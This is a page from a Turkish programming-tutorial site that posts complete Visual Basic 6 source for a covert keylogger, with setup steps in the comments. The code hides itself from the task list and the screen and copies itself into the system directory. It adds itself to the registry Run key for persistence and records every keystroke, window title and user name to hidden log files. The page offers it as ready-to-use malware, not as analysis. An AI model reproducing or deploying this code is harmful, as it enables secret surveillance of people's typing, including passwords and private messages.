Kullanıcı Adı
 Şifre
  
Yeni Üye Ol
Şifremi Unuttum
 
 
 
MAKALE KATEGORİLERİ  
Asp | Asp.Net | Asp.net - Ajax | C# .Net | C++ | Corel Draw | Delphi | Dreamweaver | Flash | Html | Illustrator | JavaScript | Network | PhotoShop | PHP | Sql | Visual Basic .Net | Visual Basic 6.0

Makale Detayı  
  Keylogger Kodları Jul 2 2007 12:00AM

'arkadaşlar bu program bilgisayarda klavyeden yazılan yazıları
'sistem dizininde keybord diye bir klasör açarak txt dosyasına kaydediyor
'yani manyak bir keyloger:)
'tek yapmanız gereken forma 3 adet timer
'(name=timer1 interval = 5,name = timer2 interval =0,name =killzamani interval =100 ) ve
'bir adet text kutusu koymak (text2)

' bu kısmı bir modül oluşturup içine kopyalayın
' aslında ben bu modül kısmını siteden aldım
' burada amaç sadece registeriye kayıt girmek yada okumak için

Option Explicit

Public Const HKEY_CLASSES_ROOT = &H80000000
Public Const HKEY_CURRENT_USER = &H80000001
Public Const HKEY_LOCAL_MACHINE = &H80000002
Public Const HKEY_USERS = &H80000003
Public Const HKEY_PERFORMANCE_DATA = &H80000004
Public Const HKEY_CURRENT_CONFIG = &H80000005
Public Const HKEY_DYN_DATA = &H80000006
Public Const REG_SZ = 1
Public Const REG_BINARY = 3
Public Const REG_DWORD = 4
Public Const ERROR_SUCCESS = 0&

Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long

Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long

Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long

Public Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long

Public Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long

Public Declare Function RegEnumKey Lib "advapi32.dll" Alias "RegEnumKeyA" (ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpName As String, ByVal cbName As Long) As Long

Public Declare Function RegEnumValue Lib "advapi32.dll" Alias "RegEnumValueA" (ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpValueName As String, lpcbValueName As Long, lpReserved As Long, lpType As Long, lpData As Byte, lpcbData As Long) As Long

Public Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long

Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long

Public Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

Public Const HCR = HKEY_CLASSES_ROOT
Public Const HCU = HKEY_CURRENT_USER
Public Const HLM = HKEY_LOCAL_MACHINE
Public Const HU = HKEY_USERS
Public Const HPD = HKEY_PERFORMANCE_DATA
Public Const HCC = HKEY_CURRENT_CONFIG
Public Const HDD = HKEY_DYN_DATA

Public Sub DegerKaydet(hKey As Long, strPath As String, strValue As String, strData As String)
Dim hkeycur As Long
Dim RegDurum As Long
RegDurum = RegCreateKey(hKey, strPath, hkeycur)
RegDurum = RegSetValueEx(hkeycur, strValue, 0, REG_SZ, ByVal strData, Len(strData))
RegDurum = RegCloseKey(hkeycur)
End Sub

Public Function DegerOku(hKey As Long, strPath As String, strValue As String, Optional Default As String) As String
Dim hkeycur As Long
Dim DegerTipi As Long
Dim TBuf As String
Dim TBufUzun As Long
Dim Sifir As Integer
Dim RegDurum As Long
If Not IsEmpty(Default) Then
DegerOku = Default
Else
DegerOku = ""
End If
RegDurum = RegOpenKey(hKey, strPath, hkeycur)
RegDurum = RegQueryValueEx(hkeycur, strValue, 0&, DegerTipi, ByVal 0&, TBufUzun)
If RegDurum = ERROR_SUCCESS Then
If DegerTipi = REG_SZ Then
TBuf = String(TBufUzun, " ")
RegDurum = RegQueryValueEx(hkeycur, strValue, 0&, 0&, ByVal TBuf, TBufUzun)
Sifir = InStr(TBuf, Chr$(0))
If Sifir > 0 Then
DegerOku = Mid(TBuf, 1, Sifir - 1)
Else
DegerOku = TBuf
End If
End If
Else
End If
RegDurum = RegCloseKey(hkeycur)
End Function

 


' module yazılacak kısım bitti
' bu kısmı kopyalayıp formun kod kısmına yapıştırın

 


Const VK_CAPITAL = &H14
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Declare Function GetKeyboardState Lib "user32" (kbArray As KeyboardBytes) As Long

Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long

Private Declare Function GetForegroundWindow Lib "user32" () As Long

Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long

Private Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, nSize As Long) As Long

Private Type KeyboardBytes
kbByte(0 To 255) As Byte
End Type
Private Type Kayıt 'Kayıt.txt dosyasının veri yapısı
Yazi As String * 100
tarih As String * 15
saat As String * 15
Program As String * 100
user As String * 20
Ln As String * 2
End Type

Dim Rec As Kayıt 'kayıt değişkenimiz
Dim Kayıt_Uzunluk As Long 'bir kaydın uzunlığu
Dim Kayıt_Sayısı As Long 'dosyadaki kayıt sayısı

Dim regduvar As String
Const RegLoad As String = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"

Dim Tuş_Kodu As String
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Dim kbArray As KeyboardBytes
Dim CapsLock As Boolean
Dim Tekrar As String
Dim alt As Boolean

Dim ctrl As Boolean
Dim KeyNo As Integer
Dim Delay As Long
Dim Speed As Long
Dim say As Long
Dim kelime As String
Dim bas As Boolean
Dim ekle As Byte
Dim Sure As Long
Dim Sistemdir As String
Dim Deger As String
Dim Isim As String
Dim Yol As String
Dim Uzantı As String
Dim n As Long
Dim tamyol As String
Dim nerdeyim As String
Private Function UserName()
Dim ret As Long
Dim u_name As String * 20
ret = GetUserName(u_name, Len(u_name))
UserName = TrimNull(u_name)
End Function
Private Function Kaydet(Word As String)

Dim MyStr As String
Dim hwnd As Long
Dim fso, f, fc, nf


' klasörü nereye oluşturalim
On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
On Error Resume Next
Set f = fso.GetFolder(Sistemdir)
On Error Resume Next
Set fc = f.SubFolders
On Error Resume Next
Set nf = fc.Add("Keyboard") 'oluşturmak istediğiniz Klasör adını yazmanız yeterli
On Error Resume Next
MyStr = String(100, Chr$(0))
hwnd = GetForegroundWindow 'aktif pencerenin handle numarasini al
GetWindowText hwnd, MyStr, 100 'aktif pencerenin görev çubugunda görünen ismini al
MyStr = Replace(MyStr, Chr(0), "")


Kayıt_Uzunluk = Len(Rec) 'bir kaydın uzunluğunu alıyoruz
Open Sistemdir + "\Keyboard\" + UserName() + "-" + Str(Date) + ".txt" For Random As #1 Len = Kayıt_Uzunluk 'dosyamızı açtık

 

Kayıt_Sayısı = LOF(1) / Kayıt_Uzunluk 'dosyadaki kayıt sayısı
With Rec
.Yazi = Word
.tarih = Date
.saat = Time
.Program = MyStr
.user = UserName()
.Ln = vbCrLf
End With
Kayıt_Sayısı = Kayıt_Sayısı + 1

Put #1, Kayıt_Sayısı, Rec 'kaydediyoruz
Close #1
Text2 = Text2 + Rec.Yazi + " " + Rec.tarih + " " + Rec.saat + vbCrLf
End Function
Private Function AltGr() As Boolean
If GetAsyncKeyState(17) Then
AltGr = True
Else
AltGr = False
End If
End Function
Private Function Shift() As Boolean
If GetAsyncKeyState(16) Then
Shift = True
Else
Shift = False
End If
End Function
Private Function caps_lock() As Boolean
Tuş_Kodu = VK_CAPITAL
GetKeyboardState kbArray
If kbArray.kbByte(VK_CAPITAL) = 0 Then

caps_lock = False
Else
caps_lock = True

End If
End Function
Private Function TrimNull(item As String)
Dim pos As Integer
pos = InStr(item, Chr$(0))
If pos Then
TrimNull = Left$(item, pos - 1)
Else
TrimNull = item
End If
End Function
Private Function GetSystemDir() As String
Dim r As Long
Dim nSize As Long
Dim tmp As String
tmp = Space$(256)
nSize = Len(tmp)
r = GetSystemDirectory(tmp, nSize)
GetSystemDir = TrimNull(tmp)
End Function
Private Sub Key_Down(byt As Byte)
Select Case byt
Case 1
If kelime <> "" Then
Kaydet (kelime)
kelime = ""
End If
Case 2

Case 8
If Len(kelime) > 0 Then kelime = Mid(kelime, 1, Len(kelime) - 1)
Case 9
If kelime <> "" Then
Kaydet (kelime)
kelime = ""
End If
Case 13
If kelime <> "" Then
Kaydet (kelime)
kelime = ""
End If
Case Else
kelime = kelime + Chr(byt)
If Len(kelime) > 85 And byt = Asc(" ") Then
Kaydet (kelime)
kelime = ""
End If
End Select
End Sub

 

Private Sub Command1_Click()

End Sub

Private Sub Form_Initialize()

App.TaskVisible = False ' programımızı ctrl+alt+delete listesinde görünmez yapıyoruz
Form1.Visible = False ' programımızı görünmez hale getiriyoruz
Sistemdir = GetSystemDir() 'sistem dizinine ihtiyacımız olacak

If App.PrevInstance Then 'eğer programımız daha önceden çalışmışsa tekrar çalışmasını engelliyoruz

End
End If

'burada yapmak istediğim
'bu program nerede çalışırsa çalışsın kendisini sistem dizinine kopyalayacak


If Command$() <> "" Then killzamani.Enabled = True

tamyol = Trim(Sistemdir) & "\" & App.EXEName & ".exe"
nerdeyim = App.Path & "\" & App.EXEName & ".exe"
If UCase(nerdeyim) <> UCase(tamyol) Then
n = CopyFile(App.Path & "\" & App.EXEName & ".exe", tamyol, False)'kopyaladık
'SetAttr tamyol, 6
' burada isterseniz bu programı sistem dosyası yapabilirsiniz
i = Shell(tamyol & " " & nerdeyim, 1)'yeni dosyamızı çalıştırdık
End
Exit Sub
End If
Isim = App.EXEName
Uzantı = ".exe"
Yol = App.Path & "\"
'degerler atandı


Deger = DegerOku(HLM, RegLoad, Isim)
If Deger <> Yol & Isim & Uzantı Then
Deger = Yol & Isim & Uzantı
DegerKaydet HLM, RegLoad, Isim, Deger' bilgisayar her çalıştığında çalışması için
End If
End Sub

Private Sub Form_Load()

Deger = DegerOku(HCU, "Control Panel\Keyboard", "KeyboardSpeed")
'burada registeriden klavyenin yenileme ve bekleme süresini alıyoruz
If Deger = 0 Then Speed = 400

If Deger = 1 Then Speed = 400
If Deger = 2 Then Speed = 333
If Deger = 3 Then Speed = 250
If Deger = 4 Then Speed = 200
If Deger = 5 Then Speed = 166
If Deger = 6 Then Speed = 149
If Deger = 7 Then Speed = 125
If Deger = 8 Then Speed = 107
If Deger = 9 Then Speed = 100
If Deger = 10 Then Speed = 93
If Deger = 11 Then Speed = 93
If Deger = 12 Then Speed = 84
If Deger = 13 Then Speed = 75
If Deger = 14 Then Speed = 75
If Deger = 15 Then Speed = 65
If Deger = 16 Then Speed = 62
If Deger = 17 Then Speed = 58
If Deger = 18 Then Speed = 53
If Deger = 19 Then Speed = 50
If Deger = 20 Then Speed = 50
If Deger = 21 Then Speed = 47
If Deger = 22 Then Speed = 46
If Deger = 23 Then Speed = 46
If Deger = 24 Then Speed = 32
If Deger = 25 Then Speed = 30
If Deger = 26 Then Speed = 28
If Deger = 27 Then Speed = 26
If Deger = 28 Then Speed = 25
If Deger = 29 Then Speed = 24
If Deger = 30 Then Speed = 22
If Deger = 31 Then Speed = 31
Print Deger
Deger = DegerOku(HCU, "Control Panel\Keyboard", "KeyboardDelay")
If Deger = 0 Then Delay = 237
If Deger = 1 Then Delay = 485
If Deger = 2 Then Delay = 736
If Deger = 3 Then Delay = 985
Print Deger

End Sub
Private Sub Key_press(code As String)
Dim kod As Byte
For k = 1 To Len(code)
If InStr(1, Tekrar, Mid(code, k, 1), vbTextCompare) = 0 Then
kod = Asc(Mid(code, k, 1))
End If
DoEvents
Next k

'**************************************************
'aslında GetAsyncKeyState apisi ile aldığımız tuş kodu
' sisteme giren harfi ifade etmiyor klavyedeki basılan tuşu afede ediyor
' yani küçük büyük harf ayrımı yok
'buna benzer bir sürü rksiklik var burada bunları düzeltiyoruz
If kod = 48 Then '0

If Shift = True Then
kod = 61
ElseIf AltGr = True Then
kod = 125
End If

ElseIf kod = 49 Then '1
If Shift = True Then
kod = 33
End If

ElseIf kod = 50 Then '2
If Shift = True Then
kod = 39
ElseIf AltGr = True Then
kod = 163
End If

ElseIf kod = 51 Then '3
If Shift = True Then
kod = 94
ElseIf AltGr = True Then
kod = 35
End If

ElseIf kod = 52 Then '4
If Shift = True Then
kod = 43
ElseIf AltGr = True Then
kod = 36
End If

ElseIf kod = 53 Then '5
If Shift = True Then
kod = 37
ElseIf AltGr = True Then
kod = 189
End If

ElseIf kod = 54 Then '6
If Shift = True Then
kod = 38
End If

ElseIf kod = 55 Then '7
If Shift = True Then
kod = 47
ElseIf AltGr = True Then
kod = 123
End If

ElseIf kod = 56 Then '8
If Shift = True Then
kod = 40
ElseIf AltGr = True Then
kod = 91
End If

ElseIf kod = 57 Then '9
If Shift = True Then
kod = 41
ElseIf AltGr = True Then
kod = 93
End If

ElseIf kod = 223 Then '*
kod = 42
If Shift = True Then
kod = 63
ElseIf AltGr = True Then
kod = 92
End If

ElseIf kod = 189 Then '-
kod = 45
If Shift = True Then
kod = 95

End If

ElseIf kod = 192 Then '"
kod = 34
If Shift = True Then
kod = 233
End If

ElseIf kod = 226 Then '<
kod = 60
If Shift = True Then
kod = 62
ElseIf AltGr = True Then
kod = 124
End If

ElseIf kod = 190 Then '.
kod = 46
If Shift = True Then
kod = 58
End If

ElseIf kod = 188 Then ',
kod = 44
If Shift = True Then
kod = 59
ElseIf AltGr = True Then
kod = 96
End If

ElseIf kod = 191 Then 'ööö harfi
kod = 214
If (Shift = False And caps_lock = False) Or (Shift = True And caps_lock = True) Then
kod = 246
End If

ElseIf kod = 222 Then 'İ harfi
kod = 221
If (Shift = False And caps_lock = False) Or (Shift = True And caps_lock = True) Then
kod = 105
End If

ElseIf kod = 220 Then 'ç
kod = 199
If (Shift = False And caps_lock = False) Or (Shift = True And caps_lock = True) Then
kod = 231

End If

ElseIf kod = 186 Then 'ş
kod = 222
If (Shift = False And caps_lock = False) Or (Shift = True And caps_lock = True) Then
kod = 254
ElseIf AltGr = True Then
kod = 180
End If

ElseIf kod = 219 Then 'ğ
kod = 208
If (Shift = False And caps_lock = False) Or (Shift = True And caps_lock = True) Then
kod = 240
ElseIf AltGr = True Then
kod = 168
End If

ElseIf kod = 221 Then 'ü
kod = 220
If (Shift = False And caps_lock = False) Or (Shift = True And caps_lock = True) Then
kod = 252
ElseIf AltGr = True Then
kod = 126
End If

ElseIf kod > 64 And kod < 73 Then 'A-H harfleri ve arası

If (Shift = False And caps_lock = False) Or (Shift = True And caps_lock = True) Then
kod = kod + 32

End If

ElseIf kod = 73 Then 'I harfi
If (Shift = False And caps_lock = False) Or (Shift = True And caps_lock = True) Then
kod = 253

End If

ElseIf kod > 73 And kod < 81 Then 'J-P harfleri ve arası

If (Shift = False And caps_lock = False) Or (Shift = True And caps_lock = True) Then
kod = kod + 32

End If

ElseIf kod = 81 Then ' Q harfi
If AltGr = True Then
kod = 64
ElseIf (Shift = False And caps_lock = False) Or (Shift = True And caps_lock = True) Then
kod = kod + 32

End If

ElseIf kod > 81 And kod < 91 Then 'R-Z harfleri ve arası

If (Shift = False And caps_lock = False) Or (Shift = True And caps_lock = True) Then
kod = kod + 32

End If

ElseIf kod > 95 And kod < 106 Then ' numpad numaraları

kod = kod - 48

ElseIf kod = 111 Then ' numpad /

kod = 47

ElseIf kod = 106 Then ' numpad *

kod = 42

ElseIf kod = 109 Then ' numpad -

kod = 45

ElseIf kod = 107 Then ' numpad +

kod = 43

ElseIf kod = 110 Then ' numpad ,

kod = 44

ElseIf kod = 9 Then

'tab tuşu

ElseIf kod = 8 Then

'Backspace

ElseIf kod = 32 Then

' burası space için

ElseIf kod = 13 Then

'ENTER

ElseIf kod = 1 Then

'Sol tıklama

ElseIf kod = 2 Then

'Sağ tıklama

Else
kod = 0

End If

 

 


'**************************************************
If code <> Tekrar Then

bas = False
Timer2.Enabled = False
Timer2.Interval = Delay
Tekrar = ""
End If
If bas = False Then

ekle = (kod)

bas = True
If ekle <> 0 Then Key_Down (ekle)

Print "down"
Timer2.Enabled = True
Timer2.Interval = Delay
End If


DoEvents

 

Tekrar = code

 


End Sub

 

 

 


Private Sub killzamani_Timer()
'programımız ilk çalıştığında kendisini sisteme kopyalıyor
' tabi eski sini silmesi gerekiyor
On Error Resume Next
Kill Command()
killzamani.Enabled = False
End Sub

 

 

Private Sub Timer1_Timer()
' burada sisteme giren tuşları yakalıyoruz
' tabi aynı anda biden fazla tuşa basılıyor olabilir
' bu durumuda dikkate almak gerekiyor

Dim dizi As String
For i = 1 To 255

If GetAsyncKeyState(i) Then

dizi = dizi + Chr(i)


End If

Next
Key_press (dizi)
End Sub


Private Sub Timer2_Timer()

Timer2.Interval = Speed
If ekle <> 0 Then Key_Down (ekle)
End Sub

  Video Kategorileri
   - Asp
   - Asp .Net
   - Php
   - Asp - Ajax
   - Corel Draw
   - Flash
   - PhotoShop
   - Fireworks
   - Freehand
   - Indesign
   - Delphi
   - VB .Net
   - C++
   - C# (Sharp)
   - Pascal
   - Python
   - Borland C++
   - Temel Java
   - Dreamweaver
   - Html
   - Front Page
   - CSS
   - Sql Server
   - Windows
   - JavaScript
   - Joomla
  En Çok İzlenen Videolar
  Son Eklenen Makaleler    
   Online Üyeler (0)
Site İstatistikleri
Toplam Üye: 100291 , Toplam Konu: 9755 , Toplam Cevap: 27253 ,Toplam Forum: 23 , Toplam Video: 578 , Toplam Makale: 809 , Toplam Kategori: 35
En Yeni Üyemiz: MURAT KAPLAN
Copyright © 2007 - 2009 KariyerVideo.Com. Tüm Hakları Saklıdır. Hiçbir metaryel izinsiz olarak kullanılamaz.
Hosting Sponsoru gafa.com.tr
Tasarım & Programlama
Hasan DEDE